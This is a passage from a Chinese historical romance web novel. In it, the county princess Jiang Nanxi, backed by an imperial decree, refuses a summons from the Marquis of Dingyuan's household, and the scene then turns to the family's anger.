能得个这么好用的大体老师,她中七日断肠丸受的那点罪都值得了。 …… 几人正说着话,院子里突然传来一阵嘈杂的喧闹声。 姜南溪示意影七先回去病房躺着。 别光秃秃赤条条地在这辣眼睛。 随后才让金铃出去看了一眼。 “小姐,是定远侯和老夫人,请您过去。” 姜南溪笑了一声:“我需要过去吗?” “当然不需要!” 金铃毫不犹豫道:“皇上有令,在出嫁前,您依旧可以住在碧清院。但如今的碧清院,已与定远侯府彻底割裂开来。哪怕是定远侯和柳老夫人,都没资格擅闯如今的碧清院。否则,就是藐视皇威,欺君罔上。” “您既是县主之尊,又是未来的御王妃,定远侯府无一人能命令您,您若不愿去,谁都不能强迫您去见她们!” 姜南溪点点头:“那就让她们滚远点,别来烦我。本县主现在没兴趣见烦人的苍蝇。” …… 侯府前厅。 “那小贱人当真这么说?”凌婉茹发出一声愤怒的尖叫,“她说我们是烦人的苍蝇?” 传话的小厮低着头,瑟瑟发抖,噤若寒蝉。 整个屋中的氛围,都压抑到可怕。